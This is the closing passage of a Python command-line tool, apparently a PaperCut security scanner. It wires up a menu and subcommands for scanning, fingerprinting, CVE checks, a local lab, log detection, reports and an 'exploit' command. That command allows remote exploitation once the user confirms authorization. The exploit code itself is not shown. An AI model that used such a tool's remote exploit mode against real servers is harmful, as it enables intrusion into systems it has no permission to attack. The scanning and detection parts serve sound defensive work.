Prompt.ask("Target URL", default="http://127.0.0.1:8080") cmd_scan(target, 10, False, None, "text") elif choice == "2": target = Prompt.ask("Target URL", default="http://127.0.0.1:8080") cmd_fingerprint(target, 10) elif choice == "3": target = Prompt.ask("Target URL", default="http://127.0.0.1:8080") cmd_check(target, "81578", 10) elif choice == "4": target = Prompt.ask("Target URL", default="http://127.0.0.1:8080") cmd_check(target, "82078", 10) elif choice == "5": port = IntPrompt.ask("Port", default=8080) cmd_lab(port, False) elif choice == "6": cve = Prompt.ask("CVE (81578/82078)", choices=["81578","82078"]) target = Prompt.ask("Target (localhost)", default="http://127.0.0.1:8080") cmd_exploit(cve, target, force=False) elif choice == "7": logfile = Prompt.ask("Log file path") output = Prompt.ask("Output file (optional)", default="") cmd_detect(logfile, output if output else None) elif choice == "8": infile = Prompt.ask("JSON result file") fmt = Prompt.ask("Format (html/json/text)", default="html") outfile = Prompt.ask("Output file", default="") cmd_report(infile, fmt, outfile if outfile else None) elif choice == "9": infile = Prompt.ask("Targets file") fmt = Prompt.ask("Output format", default="html") outdir = Prompt.ask("Output directory", default="") threads = IntPrompt.ask("Threads", default=5) timeout = IntPrompt.ask("Timeout (seconds)", default=5) prefilter = Prompt.ask("Run port prefilter? (y/n)", default="y").lower() == "y" cmd_batch_scan(infile, timeout, fmt, outdir, threads, prefilter) elif choice == "10": console.print("[bold red]⚠️ REMOTE EXPLOIT MODE ⚠️[/bold red]") cve = Prompt.ask("CVE (81578/82078)", choices=["81578","82078"]) target = Prompt.ask("Target URL") force = Prompt.ask("Confirm you have authorization? (yes/no)").lower() == "yes" if force: cmd_exploit(cve, target, force=True, delay=5) else: console.print("[red]Authorization not confirmed. Aborting.[/red]") return 0 def cmd_self_test(): console.print(BANNER) console.print("[bold]Running Self-Test...[/bold]") tests = [] tests.append(("Python >= 3.10", sys.version_info >= (3, 10))) try: import requests, rich, urllib3 tests.append(("Dependencies", True)) except ImportError: tests.append(("Dependencies", False)) try: # Use Google as fallback (more stable than httpbin) resp = requests.get("https://www.google.com", timeout=5) tests.append(("HTTP connectivity", resp.status_code == 200)) except: tests.append(("HTTP connectivity", False)) lab = LabServer(port=8081) try: lab.start() running = lab.is_running() tests.append(("Lab start", running)) if running: fp = fingerprint_target("http://127.0.0.1:8081", 5) tests.append(("Lab fingerprint", fp.get("reachable", False))) lab.stop() except: tests.append(("Lab module", False)) try: data = {"target": "test", "findings": []} html = generate_html_report(data) tests.append(("HTML report", isinstance(html, str) and len(html) > 100)) except: tests.append(("HTML report", False)) try: r1 = check_cve_81578("http://127.0.0.1", 1) r2 = check_cve_82078("http://127.0.0.1", 1) tests.append(("CVE modules", "status" in r1 and "status" in r2)) except: tests.append(("CVE modules", False)) tests.append(("Safety guard", is_localhost("http://127.0.0.1") and not is_localhost("http://example.com"))) tests.append(("Version parser", parse_version("24.1.9") == (24,1,9))) affected, _ = is_affected_version("24.1.9") tests.append(("Affected version", affected is True)) affected2, _ = is_affected_version("24.1.10") tests.append(("Fixed version", affected2 is False)) passed = sum(1 for _, r in tests if r) for name, r in tests: console.print(f"{'[green]PASS[/green]' if r else '[red]FAIL[/red]'} {name}") console.print(f"\n[bold]Result: {passed}/{len(tests)} tests passed[/bold]") return 0 if passed == len(tests) else 1 # ---------------------------------------------------------------------- # CLI # ---------------------------------------------------------------------- def main(): parser = argparse.ArgumentParser(description="PaperCut Security Tool - POWER MODE v3", add_help=False) parser.add_argument("--help", action="store_true") sub = parser.add_subparsers(dest="command", required=True) scan = sub.add_parser("scan", help="Full vulnerability scan") scan.add_argument("target", nargs="?", help="Target URL (single)") scan.add_argument("--input", "-i", help="File with targets (batch)") scan.add_argument("--output-dir", help="Directory for batch results") scan.add_argument("--threads", type=int, default=5, help="Concurrent threads (batch)") scan.add_argument("--timeout", type=int, default=10) scan.add_argument("--quiet", action="store_true") scan.add_argument("--output", help="Output file (single)") scan.add_argument("--format", choices=["text","json","html"], default="text") scan.add_argument("--prefilter", action="store_true", help="Check open ports before scanning (batch only)") fp = sub.add_parser("fingerprint", help="Fingerprint target") fp.add_argument("target"); fp.add_argument("--timeout", type=int, default=10) chk = sub.add_parser("check", help="Check specific CVE") chk.add_argument("target"); chk.add_argument("--cve", choices=["81578","82078"], required=True) chk.add_argument("--timeout", type=int, default=10) lab = sub.add_parser("lab", help="Start local lab") lab.add_argument("--port", type=int, default=8080) lab.add_argument("--test", action="store_true", help="Auto-test lab") exp = sub.add_parser("exploit", help="⚠️ Exploit CVE (DANGEROUS)") exp.add_argument("--cve", choices=["81578","82078"], required=True) exp.add_argument("--target", default="http://127.0.0.1:8080") exp.add_argument("--force", action="store_true", help="⚠️ Allow remote exploitation (AUTHORIZATION REQUIRED)") exp.add_argument("--delay", type=int, default=3, help="Delay before exploit (seconds)") det = sub.add_parser("detect", help="Analyze log file") det.add_argument("logfile"); det.add_argument("--output") rep = sub.add_parser("report", help="Generate report from JSON") rep.add_argument("input"); rep.add_argument("--format", choices=["html","json","text"], default="html") rep.add_argument("--output") sub.add_parser("interactive", help="Interactive menu") sub.add_parser("self-test", help="Run self-test") args = parser.parse_args() if args.help: parser.print_help() return 0 try: if args.command == "scan": if args.input: return cmd_batch_scan(args.input, args.timeout, args.format, args.output_dir, args.threads, args.prefilter) else: if not args.target: console.print("[red]Error: target required when not using --input[/red]") return 1 return cmd_scan(args.target, args.timeout, args.quiet, args.output, args.format) elif args.command == "fingerprint": return cmd_fingerprint(args.target, args.timeout) elif args.command == "check": return cmd_check(args.target, args.cve, args.timeout) elif args.command == "lab": return cmd_lab(args.port, args.test) elif args.command == "exploit": return cmd_exploit(args.cve, args.target, args.force, args.delay) elif args.command == "detect": return cmd_detect(args.logfile, args.output) elif args.command == "report": return cmd_report(args.input, args.format, args.output) elif args.command == "interactive": return cmd_interactive() elif args.command == "self-test": return cmd_self_test() else: parser.print_help() return 1 except KeyboardInterrupt: console.print("\n[yellow]Interrupted by user[/yellow]") return 1 except Exception as e: if args.quiet: console.print(f"[red]Error: {e}[/red]") else: import traceback traceback.print_exc() return 1 if __name__ == "__main__": sys.exit(main())